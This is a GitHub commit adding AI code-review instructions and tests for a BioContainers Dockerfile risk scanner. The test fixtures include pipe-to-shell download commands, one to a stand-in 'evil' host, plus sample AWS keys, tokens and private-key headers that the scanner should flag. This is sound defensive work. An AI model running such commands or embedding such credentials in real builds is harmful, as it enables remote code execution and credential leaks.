Skip to content

Commit ff56b43

Browse files
authored
Merge pull request #625 from BioContainers/ci/dockerfile-risk-scan
CI: surface risky Dockerfile content to reviewers, add Copilot review, fix S3 upload
2 parents 703ba26 + aed3413 commit ff56b43

6 files changed

Lines changed: 446 additions & 2 deletions

File tree

.github/copilot-instructions.md

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
# BioContainers — Copilot review & chat instructions
2+
3+
This repository accepts **community pull requests that each add or update exactly one
4+
container**, laid out as `<tool>/<version>/Dockerfile` (an optional
5+
`<tool>/<version>/test-cmds.txt` holds one smoke-test command per line). Contributors
6+
are trusted only as far as review can verify, so when you review a PR here, **treat the
7+
Dockerfile as untrusted input and prioritise security and provenance over style.**
8+
9+
## What to flag on every container PR
10+
11+
Call these out explicitly, cite the **exact line**, and explain the risk in one sentence:
12+
13+
- **Remote code execution at build time**`curl … | sh`, `wget … | bash`, or any
14+
pipe of a downloaded script into an interpreter. Name the domain and ask the author to
15+
justify trusting it; prefer a pinned release download verified with a checksum.
16+
- **Insecure or unverifiable downloads** — plain `http://`, URL shorteners
17+
(`bit.ly`, `t.co`, …), pastebins/gists, bare IP addresses, `ADD <url>` (no checksum),
18+
or `--insecure` / `--no-check-certificate`.
19+
- **Embedded secrets** — any AWS key, GitHub/Slack token, private key, or
20+
`password=`/`api_key=` value. This must block the PR; the credential is already in
21+
git history and must be rotated.
22+
- **Base image** — the `FROM` should be an official `biocontainers/*` (or
23+
`quay.io/biocontainers/*`) image. Anything else warrants an explicit justification.
24+
- **Package provenance** — installs without a pinned version, or package names that look
25+
typosquatted or unrelated to the tool being packaged.
26+
- **Excess privilege / footprint**`chmod 777`, `sudo`, opening ports, writing outside
27+
the build, running as root without returning to `USER biodocker`, or anything that
28+
"phones home".
29+
30+
## Metadata the CI already enforces (reinforce, don't duplicate)
31+
32+
Required LABELs: `software`, `software.version` (must equal the version directory),
33+
`version`, `base_image`, `about.summary` (≥ 20 chars), `about.home`, `about.license`
34+
(an SPDX id). The image tag is `<version>_cv<version-label>`. If any of these look wrong
35+
or implausible, mention it, but the Python validator (`.github/scripts/validate.py`) is
36+
the source of truth for pass/fail — your job is the judgement calls it cannot encode.
37+
38+
## Style
39+
40+
Keep comments specific and actionable. Prefer one precise comment on the risky line over
41+
a general summary. Do not rewrite the whole Dockerfile; suggest the minimal safer form.
Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
---
2+
applyTo: "**/Dockerfile"
3+
---
4+
5+
# Reviewing a BioContainers Dockerfile
6+
7+
When the diff touches a `Dockerfile`, review it as **untrusted contributor input** and
8+
lead with security. For each concern, cite the exact line and give the safer alternative.
9+
10+
Hard stops (should block the PR):
11+
- Any embedded credential — AWS key (`AKIA…`), GitHub token (`ghp_…`), Slack token,
12+
private key block, or a real-looking `password=` / `secret=` / `api_key=` value.
13+
14+
Always question (comment, don't necessarily block):
15+
- `curl … | sh` / `wget … | bash` — a remote script executed at build time. Which domain?
16+
Is it pinned? Prefer downloading a tagged release and verifying a checksum.
17+
- `http://` downloads, `ADD <url>`, URL shorteners, pastebins/gists, bare-IP hosts,
18+
`--insecure` / `--no-check-certificate`.
19+
- `FROM` that is not `biocontainers/*` or `quay.io/biocontainers/*`.
20+
- Unpinned or typosquatted package installs; `chmod 777`; `sudo`; running as root without
21+
a final `USER biodocker`.
22+
23+
Also confirm the required LABELs are present and coherent: `software`,
24+
`software.version` (= the version directory name), `version`, `base_image`,
25+
`about.summary`, `about.home`, `about.license` (SPDX id).
26+
27+
Prefer one precise comment on the offending line over a broad summary.

.github/scripts/tests/test_validate.py

Lines changed: 182 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -178,3 +178,185 @@ def test_check_tag_defaults_cv1_when_version_blank(tmp_path, monkeypatch):
178178
# version label blank is itself an error, but the tag still falls back to _cv1
179179
assert tag == "2.1.5-7-deb_cv1"
180180
assert ok is False
181+
182+
183+
# ---------------------------------------------------------------- risk scan
184+
185+
def _scan(tmp_path, body):
186+
df = tmp_path / "Dockerfile"
187+
df.write_text(body)
188+
return validate.scan_dockerfile_risks(str(df))
189+
190+
191+
def checklist_msgs(checklist):
192+
return [c["msg"] for c in checklist]
193+
194+
195+
def test_scan_flags_curl_pipe_shell(tmp_path):
196+
# the phynest/#621 case
197+
secrets, checklist = _scan(
198+
tmp_path,
199+
"FROM biocontainers/biocontainers:v1.0.0_cv5\n"
200+
"RUN curl -fsSL https://install.julialang.org | sh -s -- -y\n")
201+
assert secrets == []
202+
assert any("remote script" in c for c in checklist_msgs(checklist))
203+
204+
205+
def test_scan_flags_wget_pipe_bash(tmp_path):
206+
_, checklist = _scan(tmp_path, "FROM biocontainers/x\nRUN wget -qO- http://x | bash\n")
207+
msgs = checklist_msgs(checklist)
208+
assert any("remote script" in m for m in msgs)
209+
assert any("insecure `http://`" in m for m in msgs)
210+
211+
212+
def test_scan_flags_add_url_and_bare_ip(tmp_path):
213+
_, checklist = _scan(tmp_path, "FROM biocontainers/x\nADD https://10.0.0.1/pkg.tar /tmp/\n")
214+
msgs = checklist_msgs(checklist)
215+
assert any("`ADD <url>`" in m for m in msgs)
216+
assert any("bare IP" in m for m in msgs)
217+
218+
219+
def test_scan_flags_non_biocontainers_base(tmp_path):
220+
_, checklist = _scan(tmp_path, "FROM debian:stable-slim\nRUN echo hi\n")
221+
assert any("not an official `biocontainers/*`" in m for m in checklist_msgs(checklist))
222+
223+
224+
def test_scan_accepts_quay_biocontainers_base(tmp_path):
225+
_, checklist = _scan(tmp_path, "FROM quay.io/biocontainers/samtools:1.19\nRUN echo hi\n")
226+
assert not any("not an official" in m for m in checklist_msgs(checklist))
227+
228+
229+
def test_scan_flags_each_unapproved_stage_once(tmp_path):
230+
# every non-biocontainers stage is surfaced; a repeated base is flagged only once
231+
_, checklist = _scan(
232+
tmp_path,
233+
"FROM golang:1.22 AS build\nRUN go build\nFROM golang:1.22\nRUN x\n"
234+
"FROM alpine\nCOPY --from=build /x /x\n")
235+
base_flags = [m for m in checklist_msgs(checklist) if "not an official" in m]
236+
assert len(base_flags) == 2 # golang:1.22 (deduped) + alpine
237+
238+
239+
def test_scan_ignores_comments(tmp_path):
240+
secrets, checklist = _scan(
241+
tmp_path,
242+
"FROM biocontainers/x\n# RUN curl http://evil | sh (this is a comment)\nRUN echo ok\n")
243+
assert secrets == []
244+
assert checklist == []
245+
246+
247+
def test_scan_blocks_aws_key(tmp_path):
248+
secrets, _ = _scan(
249+
tmp_path, "FROM biocontainers/x\nENV KEY=AKIAIOSFODNN7EXAMPLE\n")
250+
assert any("AWS access key" in s["msg"] for s in secrets)
251+
252+
253+
def test_scan_blocks_private_key(tmp_path):
254+
secrets, _ = _scan(
255+
tmp_path, "FROM biocontainers/x\nRUN echo '-----BEGIN OPENSSH PRIVATE KEY-----'\n")
256+
assert any("private key" in s["msg"] for s in secrets)
257+
258+
259+
def test_scan_credential_heuristic_does_not_echo_value(tmp_path):
260+
# advisory only, and the matched line must NOT be echoed (no snippet leak)
261+
secrets, checklist = _scan(
262+
tmp_path, "FROM biocontainers/x\nENV DB_PASSWORD=hunter2secret\n")
263+
assert secrets == []
264+
cred = [c for c in checklist if "embed a credential" in c["msg"]]
265+
assert cred and cred[0]["snippet"] == ""
266+
267+
268+
def test_scan_http_in_label_is_not_a_download(tmp_path):
269+
# a homepage URL in a LABEL must NOT be flagged as an insecure download
270+
_, checklist = _scan(
271+
tmp_path,
272+
'FROM biocontainers/x\nLABEL about.home="http://example.org"\nRUN echo ok\n')
273+
assert not any("insecure `http://`" in m for m in checklist_msgs(checklist))
274+
275+
276+
def test_scan_catches_split_curl_pipe_shell(tmp_path):
277+
# backslash continuation must not let `curl … | sh` evade the scan
278+
_, checklist = _scan(
279+
tmp_path,
280+
"FROM biocontainers/x\nRUN curl -fsSL https://x.sh \\\n | sh\n")
281+
assert any("remote script" in m for m in checklist_msgs(checklist))
282+
283+
284+
def test_scan_secret_line_snippet_not_echoed(tmp_path):
285+
# a line that trips BOTH a secret rule and curl|sh must be blocked AND must not
286+
# echo the token into the checklist snippet (Codex high finding)
287+
token = "ghp_" + "abcdefghijklmnopqrstuvwxyz0123456789" # 36 chars after ghp_
288+
secrets, checklist = _scan(
289+
tmp_path,
290+
"FROM biocontainers/x\nRUN curl -H 'Authorization: %s' https://x | sh\n" % token)
291+
assert any("GitHub personal access token" in s["msg"] for s in secrets)
292+
remote = [c for c in checklist if "remote script" in c["msg"]]
293+
assert remote and remote[0]["snippet"] == "" # no token leak
294+
295+
296+
def test_scan_env_space_form_aws_secret_blocks(tmp_path):
297+
# `ENV KEY value` (no '=') is valid Dockerfile syntax and must not bypass the scan
298+
secrets, _ = _scan(
299+
tmp_path, "FROM biocontainers/x\nENV AWS_SECRET_ACCESS_KEY %s\n" % ("A" * 40))
300+
assert any("AWS secret access key" in s["msg"] for s in secrets)
301+
302+
303+
def test_scan_env_space_form_password_advisory(tmp_path):
304+
_, checklist = _scan(
305+
tmp_path, "FROM biocontainers/x\nENV DB_PASSWORD hunter2secretvalue\n")
306+
assert any("embed a credential" in m for m in checklist_msgs(checklist))
307+
308+
309+
def test_scan_catches_heredoc_curl_pipe_shell(tmp_path):
310+
_, checklist = _scan(
311+
tmp_path,
312+
"FROM biocontainers/x\nRUN <<EOF\ncurl -fsSL https://evil/install.sh | sh\nEOF\n")
313+
assert any("remote script" in m for m in checklist_msgs(checklist))
314+
315+
316+
def test_scan_from_platform_flag_not_misparsed(tmp_path):
317+
_, checklist = _scan(
318+
tmp_path,
319+
"FROM --platform=linux/amd64 biocontainers/biocontainers:v1\nRUN echo ok\n")
320+
assert not any("not an official" in m for m in checklist_msgs(checklist))
321+
322+
323+
def test_scan_flags_non_biocontainers_final_stage(tmp_path):
324+
_, checklist = _scan(
325+
tmp_path,
326+
"FROM biocontainers/biocontainers:v1 AS build\nRUN make\n"
327+
"FROM debian:stable-slim\nCOPY --from=build /x /x\n")
328+
flags = [m for m in checklist_msgs(checklist) if "not an official" in m]
329+
assert flags and any("debian" in m for m in flags)
330+
331+
332+
def test_scan_from_stage_reference_not_flagged(tmp_path):
333+
_, checklist = _scan(
334+
tmp_path,
335+
"FROM biocontainers/biocontainers:v1 AS base\nRUN x\nFROM base\nRUN y\n")
336+
assert not any("not an official" in m for m in checklist_msgs(checklist))
337+
338+
339+
def test_scan_clean_dockerfile_no_findings(tmp_path):
340+
secrets, checklist = _scan(
341+
tmp_path,
342+
"FROM biocontainers/biocontainers:v1.2.0_cv1\n"
343+
"RUN apt-get update && apt-get install -y samtools\n")
344+
assert secrets == []
345+
assert checklist == []
346+
347+
348+
def test_cmd_detect_populates_review_checklist(tmp_path):
349+
(tmp_path / "tool" / "1").mkdir(parents=True)
350+
(tmp_path / "tool" / "1" / "Dockerfile").write_text(
351+
"FROM biocontainers/x\nRUN curl -fsSL https://x.sh | sh\n")
352+
out = tmp_path / "report.json"
353+
(tmp_path / "cf.txt").write_text("tool/1/Dockerfile\n")
354+
import argparse
355+
import json as _json
356+
args = argparse.Namespace(
357+
changed_files=str(tmp_path / "cf.txt"), workdir=str(tmp_path), out=str(out))
358+
rc = validate.cmd_detect(args)
359+
report = _json.loads(out.read_text())
360+
assert rc == 0
361+
assert report["ok"] is True # advisory, does not fail the build
362+
assert any("remote script" in c for c in report["review_checklist"])

0 commit comments

Comments
 (0)